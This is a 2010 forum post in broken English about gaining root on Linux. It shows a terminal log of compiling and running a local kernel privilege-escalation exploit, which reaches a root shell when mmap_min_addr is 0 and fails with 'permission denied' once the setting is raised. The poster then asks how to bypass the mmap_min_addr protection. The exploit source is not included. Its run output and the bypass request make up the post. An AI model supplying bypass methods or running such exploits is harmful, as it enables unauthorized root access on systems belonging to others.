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mmap:permission dinied
Posted by: TopSaT13
Date: August 24, 2010 02:24AM

hy all
evry one find this problm
when he want to get root
resutl is
mmap:permission dinied
because "Mmap_min_addr" not 0
evry one have how to bypass "Mmap_min_addr" and write on 0 "Zero"


semple exemple:
-------------------------------------------------------------
cat /proc/sys/vm/mmap_min_addr
0
gcc -o gayros local-root-exploit-gayros.c
./gayros
we got null page babe!
Using kernel version 2.6.30.8-64.fc11.i586.
Found version 3 structure, doing our tricks in memory...
Go go go boy!
.we've got bush!
# whoami
root
+++++++++++++++
sudo sysctl -w vm.mmap_min_addr=65536
cat /proc/sys/vm/mmap_min_addr
65536
./gayros
mmap: Permission denied
-----------------------------------
SO,whats methods to bypass it



Edited 1 time(s). Last edit at 08/24/2010 02:28AM by TopSaT13.

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